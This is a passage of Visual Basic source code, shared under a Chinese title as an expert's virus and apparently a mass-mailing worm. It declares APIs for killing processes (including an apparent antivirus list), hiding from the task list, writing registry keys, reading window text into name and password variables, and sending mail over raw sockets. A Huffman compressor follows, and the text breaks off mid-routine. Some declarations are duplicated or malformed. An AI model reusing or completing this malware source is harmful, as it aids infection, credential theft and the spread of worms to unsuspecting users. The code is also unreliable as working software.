一个高手写的病毒原代码.txt

用vb写的病毒

Attribute VB_Name = "VXK@mm VB"
Option Explicit
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
Private Declare Function CloseHandle Lib "Kernel32.dll" (ByVal handle As Long) As Long
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal dwFlags As Long, ByVal th32ProcessID As Long) As Long
Private Declare Function Process32First Lib "kernel32" (ByVal hSnapshot As Long, lppe As PROCESSENTRY32) As Long
Private Declare Function Process32Next Lib "kernel32" (ByVal hSnapshot As Long, lppe As PROCESSENTRY32) As Long
Private Declare Function Module32First Lib "kernel32" (ByVal hSnapshot As Long, lpme As MODULEENTRY32) As Long
Private Declare Function Module32Next Lib "kernel32" (ByVal hSnapshot As Long, lpme As MODULEENTRY32) As Long
Private Declare Function OpenProcess Lib "Kernel32.dll" (ByVal dwDesiredAccessas As Long, ByVal bInheritHandle As Long, ByVal dwProcId As Long) As Long
Private Declare Function EnumProcesses Lib "psapi.dll" (ByRef lpidProcess As Long, ByVal cb As Long, ByRef cbNeeded As Long) As Long
Private Declare Function EnumProcessModules Lib "psapi.dll" (ByVal hProcess As Long, ByRef lphModule As Long, ByVal cb As Long, ByRef cbNeeded As Long) As Long
Private Declare Function GetModuleFileNameExA Lib "psapi.dll" (ByVal hProcess As Long, ByVal hModule As Long, ByVal ModuleName As String, ByVal nSize As Long) As Long
Private Declare Function GetVersionExA Lib "kernel32" (lpVersionInformation As OSVERSIONINFO) As Integer
Private Declare Function DestroyWindow Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Public AVP(40) as String
' constants:
Private Const MAX_MODULE_NAME32 As Integer = 255
Private Const MAX_MODULE_NAME32plus As Integer = MAX_MODULE_NAME32 + 1
Private Const MAX_PATH = 260
Private Const TH32CS_SNAPPROCESS = &H2&
Private Const TH32CS_SNAPMODULE = &H8&
Private Const PROCESS_QUERY_INformATION = 1024
Private Const PROCESS_VM_READ = 16

' process info structure
Private Type PROCESSENTRY32
  dwSize               As Long
  cntUsage             As Long
  th32ProcessID        As Long
  th32DefaultHeapID    As Long
  th32ModuleID         As Long
  cntThreads           As Long
  th32ParentProcessID  As Long
  pcPriClassBase       As Long
  dwFlags              As Long
  szExeFile            As String * MAX_PATH
End Type

' module info structure
Private Type MODULEENTRY32
   dwSize          As Long
   th32ModuleID    As Long
   th32ProcessID   As Long
   GlblcntUsage    As Long
   ProccntUsage    As Long
   modBaseAddr     As Long
   modBaseSize     As Long
   hModule         As Long
   szModule        As String * MAX_MODULE_NAME32plus
   szExePath       As String * MAX_PATH
End Type

' which window version is running?
Private Type OSVERSIONINFO
   dwOSVersionInfoSize As Long
   dwMajorVersion As Long
   dwMinorVersion As Long
   dwBuildNumber As Long
   dwPlatformId As Long
   szCSDVersion As String * 128
End Type
Public GetKey as Long
Public Bkey AS long
Public virbyte2 As String
Private Declare  Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare  Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare  Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private iResult As Long
Private hProg As Long
Private idProg As Long
Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
Dim hostname As String
Public Response As String
Public SSName As String
Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Public Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" (ByVal hwndOwner As Long, ByVal nFolder As Long, pidl As ITEMIDLIST) As Long
Public Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long
Private Declare Function socket Lib "wsock32.dll" (ByVal af As Long, ByVal s_type As Long, ByVal protocal As Long) As Long
Private Const AF_INET = 2
Private Const SOCK_STREAM = 1
Private Declare Function closesocket Lib "wsock32.dll" (ByVal s As Long) As Long
Private Declare Function WSAStartup Lib "wsock32.dll" (ByVal wversion As Long, lpwsadata As wsadata) As Long
Private Type wsadata
wversion As Integer
whighversion As Integer
szdescription(0 To 256) As Byte
szsystemstatus(0 To 128) As Byte
imaxsockets As Integer
imaxudpdg As Integer
lpvendorinfo As Long
End Type
Dim sendok As Boolean
Dim rcptok As Boolean
Private Declare Function WSAAsyncSelect Lib "wsock32.dll" (ByVal s As Long, ByVal hwnd As Long, ByVal wmsg As Long, ByVal levent As Long) As Long
Private Const FD_READ = &H1
Private Declare Function WSACleanup Lib "wsock32.dll" () As Long
Dim mailok As Boolean
Private Declare Function connect Lib "wsock32.dll" (ByVal s As Long, addr As sockaddr, ByVal namelen As Long) As Long
Private Type sockaddr
sin_family As Integer
sin_port As Integer
sin_addr As Long
sin_zero As String * 8
End Type
Private Declare Function gethostbyname Lib "wsock32.dll" (ByVal host_name As String) As Long
Private Type hostent
h_name As Long
h_aliases As Long
h_addrtype As Integer
h_length As Integer
h_addr_list As Long
End Type
Dim sll As Long
Private Declare Function htons Lib "wsock32.dll" (ByVal hostshort As Long) As Integer
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare Function send Lib "wsock32.dll" (ByVal s As Long, buf As Any, ByVal buflen As Long, ByVal flags As Long) As Long
Private Declare Function recv Lib "wsock32.dll" (ByVal s As Long, ByVal buf As Any, ByVal buflen As Long, ByVal flags As Long) As Long
Const CSIDL_TIF = +H20
Public Type SHITEMID
cb As Long
abID As Byte
End Type
Public Type ITEMIDLIST
mkid As SHITEMID
End Type
Public Type SMTPStru
Sender as string
SendName as string
ath as string
End Type
Public SMTPad as SMTPStru
Dim ok As Boolean
Public iks As Integer, ok1 As Boolean
Dim send As Integer
Dim ASh As Long
Public Const SWP_HIDEWINDOW = &H80
Public Const HWND_BOTTOM = 1
Public Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Public Declare Function EnumWindows Lib "user32" (ByVal lpEnumFunc As Any, ByVal lParam As Long) As Long
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Declare Function CreateDirectory Lib "kernel32" Alias "CreateDirectoryA" (ByVal lpPathName As String, lpSecurityAttributes As SECURITY_ATTRIBUTES) As Long
Public Const WM_CHAR = &H102
Public Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, _
ByVal lpClassName As String, ByVal nMaxCount As Long) As Long '为指定的窗口取得类名
Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Const GW_CHILD = 5
Const GW_HWNDNEXT = 2
Public Const WM_KEYDOWN = &H100
Public Const HKEY_CURRENT_USER = &H80000001
Public Const VK_RETURN = &HD
Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal _
wMsg As Long, ByVal wParam As Long, lParam As Any) As Long '发送消息
Const WM_GETTEXT = &HD
Const WM_GETTEXTLENGTH = &HE
Public Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Public Const RSP_SIMPLE_SERVICE = 1 '隐藏

Declare Function RegCreateKey& Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey&, ByVal lpszFunctionKey$, lphKey&)
Declare Function RegSetvalue Lib "advapi32.dll" Alias "RegSetvalueA" (ByVal hKey As Long, ByVal lpFunctionKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Const HKEY_LOCAL_MACHINE = &H80000002
Const REG_SZ = 1

Declare Function CreateFileMapping Lib "kernel32" Alias "CreateFileMappingA" _
(ByVal hFile As Long, lpFileMappigAttributes As SECURITY_ATTRIBUTES, ByVal flProtect _
As Long, ByVal dwMaximumSizeHigh As Long, ByVal dwMaximumSizeLow As Long, ByVal lpName _
As String) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Type SECURITY_ATTRIBUTES
       nLength As Long
       lpSecurityDescriptor As Long
       bInheritHandle As Long
End Type

Const PAGE_READWRITE = 1
Const ERROR_ALREADY_EXISTS = 183&
public mymarkersiii As String
Dim buf As String
Public nameall, name, passwordall, password, winstr As String
Dim i As Integer
Dim title, titleall, filepath As String
Event fprogress(sngPercentage As Single)
Private Type typHuffTree
lngParent As Integer
lngRight As Integer
lngLeft As Integer
End Type
Private mintInputFile As Integer
Private mintOutputFile As Integer
Private mtypHuffTree(511) As typHuffTree
Private mintRoot As Integer
Private mlngFileLength As Long
Private mintBitCount As Integer
Private mbytByte As Byte
Private m_strInputFileName As String
Private m_strOutputFileName As String
Const mcintBufferSize As Integer = &H7FFF
Public Sub Compress()
Dim lngTotalBytesRead As Long
Dim lngBytesRead As Long
Dim lngCounter As Long
Dim abytBuffer() As Byte
On Error GoTo Exitz
mintInputFile = FreeFile
Open m_strInputFileName For Binary Access Read As mintInputFile
On Error Resume Next
Kill m_strOutputFileName
On Error GoTo Exitz
mintOutputFile = FreeFile
Open m_strOutputFileName For Binary As mintOutputFile
mlngFileLength = LOF(mintInputFile)
BuildTree
mbytByte = 0
mintBitCount = 0
Seek mintInputFile, 1
RaiseEvent fprogress(0.5)
lngBytesRead = ReadFile(mintInputFile, abytBuffer, mcintBufferSize)
Do While lngBytesRead > 0
For lngCounter = 0 To lngBytesRead - 1
CompressByte abytBuffer(lngCounter)
Next lngCounter
lngTotalBytesRead = lngTotalBytesRead + lngBytesRead
RaiseEvent fprogress((mlngFileLength + lngTotalBytesRead) / (mlngFileLength * 2))
lngBytesRead = ReadFile(mintInputFile, abytBuffer, mcintBufferSize)
Loop
WriteFinish
RaiseEvent fprogress(1)
Close mintOutputFile
Close mintInputFile
U_ext:
Exit Sub
Exitz:
'MsgBox "Error: Compress", vbCritical, "Huffman"
Resume U_ext
End Sub
Public Sub Decompress()
Dim bytByte As Byte
Dim lngCounter As Long
Dim intCurrentNode As Integer
Dim bytBit As Byte
On Error GoTo Exitz
mintInputFile = FreeFile
Open m_strInputFileName For Binary Access Read As mintInputFile
On Error Resume Next
Kill m_strOutputFileName
On Error GoTo Exitz
mintOutputFile = FreeFile
Open m_strOutputFileName For Binary As mintOutputFile
Get #mintInputFile, , mintRoot
Get #mintInputFile, , mtypHuffTree
Get #mintInputFile, , mlngFileLength
mbytByte = 0
mintBitCount = 8
For lngCounter = 1 To mlngFileLength
intCurrentNode = mintRoot
Do While mtypHuffTree(intCurrentNode).lngRight <> 0
If mintBitCount = 8 Then
Get #mintInputFile, , bytByte
mbytByte = bytByte
mintBitCount = 0
End If
bytBit = mbytByte And 128
mbytByte = Shlb(mbytByte, 1) And 255
mintBitCount = mintBitCount + 1
If bytBit Then
intCurrentNode = mtypHuffTree(intCurrentNode).lngLeft
Else
intCurrentNode = mtypHuffTree(intCurrentNode).lngRight
End If
Loop
Put #mintOutputFile, , IntToByte(intCurrentNode)
If (lngCounter Mod mcintBufferSize) = 0 Then
RaiseEvent fprogress(lngCounter / mlngFileLength)
End If
Next lngCounter
Close mintOutputFile
Close mintInputFile
U_ext:
Exit Sub
Exitz:
MsgBox "Error: Decompress", vbCritical, "Huffman"
Resume U_ext
End Sub
Private Sub BuildTree()
Dim alngHuffTreeCount(511) As Long
Dim intHuffOne As Integer
Dim intHuffTwo As Integer
Dim intTree As Integer
Dim lngTotalBytesRead As Long
Dim lngBytesRead As Long
Dim lngCounter As Long
Dim abytBuffer() As Byte
On Error GoTo Exitz
intTree = 256
For lngCounter = 0 To 255
alngHuffTreeCount(lngCounter) = 1
Next lngCounter
For lngCounter = 0 To 511
mtypHuffTree(lngCounter).lngLeft = 0
mtypHuffTree(lngCounter).lngParent = 0
mtypHuffTree(lngCounter).lngRight = 0
Next lngCounter
RaiseEvent fprogress(0)
lngBytesRead = ReadFile(mintInputFile, abytBuffer, mcintBufferSize)
Do While lngBytesRead > 0
For lngCounter = 0 To lngBytesRead - 1
alngHuffTreeCount(abytBuffer(lngCounter)) = _
alngHuffTreeCount(abytBuffer(lngCounter)) + 1
Next lngCounter
lngTotalBytesRead = lngTotalBytesRead + lngBytesRead
RaiseEvent fprogress(lngTotalBytesRead / (mlngFileLength * 2))
lngBytesRead = ReadFile(mintInputFile, abytBuffer, mcintBufferSize)
Loop
intHuffTwo = 1
Do While intHuffTwo <> 0
intHuffOne = 0
intHuffTwo = 0
For lngCounter = 0 To intTree
If lngCounter <> intHuffOne Then
If alngHuffTreeCount(lngCounter) > 0 And mtypHuffTree(lngCounter).lngParent = 0 Then
If intHuffOne = 0 Or alngHuffTreeCount(lngCounter) < alngHuffTreeCount(intHuffOne) Then
If intHuffTwo = 0 Or alngHuffTreeCount(intHuffOne) < alngHuffTreeCount(intHuffTwo) Then
intHuffTwo = intHuffOne
End If
intHuffOne = lngCounter
ElseIf intHuffTwo = 0 Or alngHuffTreeCount(lngCounter) < alngHuffTreeCount(intHuffTwo) Then
intHuffTwo = lngCounter
End If
End If
End If
Next lngCounter
If intHuffTwo = 0 Then
mintRoot = intHuffOne
Else
mtypHuffTree(intHuffOne).lngParent = intTree
mtypHuffTree(intHuffTwo).lngParent = intTree
alngHuffTreeCount(intTree) = alngHuffTreeCount(intHuffOne) + _
alngHuffTreeCount(intHuffTwo)
mtypHuffTree(intTree).lngRight = intHuffOne
mtypHuffTree(intTree).lngLeft = intHuffTwo
intTree = intTree + 1
End If
Loop
Put #mintOutputFile, , mintRoot
Put #mintOutputFile, , mtypHuffTree
Put #mintOutputFile, , mlngFileLength
U_ext:
Exit Sub
Exitz:
'MsgBox "Error: BuildTree", vbExclamation, "Huffman"
Resume U_ext
End Sub
Private Sub CompressByte(bytByte As Byte)
On Error GoTo Exitz
Encode bytByte, 0
U_ext:
Exit Sub
Exitz:
'MsgBox "Error: CompressByte", vbExclamation, "Huffman"
Resume U_ext
End Sub
Private Sub Encode(ByVal intCurrentNode As Integer, ByVal intChild As Integer)
On Error GoTo Exitz
If mtypHuffTree(intCurrentNode).lngParent <> 0 Then
Encode mtypHuffTree(intCurrentNode).lngParent, intCurrentNode
End If
If (intChild <> 0) Then
If intChild = mtypHuffTree(intCurrentNode).lngRight Then
WriteBit 0
Else
WriteBit 1
End If
End If
U_ext:
Exit Sub
Exitz:
'MsgBox "Error: " & Err.Number & ". " & Err.Description, , "Encode"
Resume U_ext
End Sub
Private Function IntToByte(ByVal intNumber As Integer) As Byte
On Error GoTo Exitz
IntToByte = intNumber And &HFF&
U_ext:
Exit Function
Exitz:
'MsgBox "Error: Conversion Int To Byte", vbCritical, "Huffman"
Resume U_ext
End Function
Private Function LongToInt(ByVal lngNumber As Long) As Integer
On Error GoTo Exitz
lngNumber = lngNumber And &HFFFF&
If lngNumber > &H7FFF Then
LongToInt = lngNumber - &H10000
Else
LongToInt = lngNumber
End If
U_ext:
Exit Function
Exitz:
'MsgBox "Error: Conversion Long To Int", vbCritical, "Huffman"
Resume U_ext
End Function
Private Function ReadFile(ByVal intFile As Integer, ByRef abytBuffer() As Byte, ByVal lngNumberOfBytes As Long) As Long
Dim lngLen As Long
Dim lngActualBytesRead As Long
Dim lngStart As Long
On Error GoTo Exitz
lngStart = Loc(intFile) + 1
lngLen = LOF(intFile)
If lngStart < lngLen Then
If lngStart + lngNumberOfBytes < lngLen Then
lngActualBytesRead = lngNumberOfBytes
Else
lngActualBytesRead = lngLen - (lngStart - 1)
End If
ReDim abytBuffer(lngActualBytesRead - 1) As Byte
Get intFile, lngStart, abytBuffer
Else
lngActualBytesRead = 0
End If
ReadFile = lngActualBytesRead
U_ext:
Exit Function
Exitz:
'MsgBox "Error: Read File", vbCritical, "Huffman"
Resume U_ext
End Function
Private Function Shlb(ByVal bytvalue As Byte, ByVal bytPlaces As Byte) As Byte
Dim lngMultiplier As Long
On Error GoTo Exitz
If bytPlaces >= 8 Then
Shlb = 0
Else
lngMultiplier = 2 ^ bytPlaces
Shlb = IntToByte(LongToInt(bytvalue * lngMultiplier))
End If
U_ext:
Exit Function
Exitz:
'MsgBox "Error: Shift", vbCritical, "Huffman"
Resume U_ext
End Function
Private Sub WriteBit(bytBit As Byte)
On Error GoTo Exitz
If mintBitCount = 8 Then
Put #mintOutputFile, , mbytByte
mbytByte = 0
mintBitCount = 0
End If
mbytByte = Shlb(mbytByte, 1) Or bytBit
mintBitCount = mintBitCount + 1
U_ext:
Exit Sub
Exitz:
'MsgBox "Error: Write Bit", vbCritical, "Huffman"
Resume U_ext
End Sub
Private Sub WriteFinish()
Dim lngCounter As Integer
On Error GoTo Exitz
For lngCounter = mintBitCount To 8
WriteBit 0
Next lngCounter
U_ext:
Exit Sub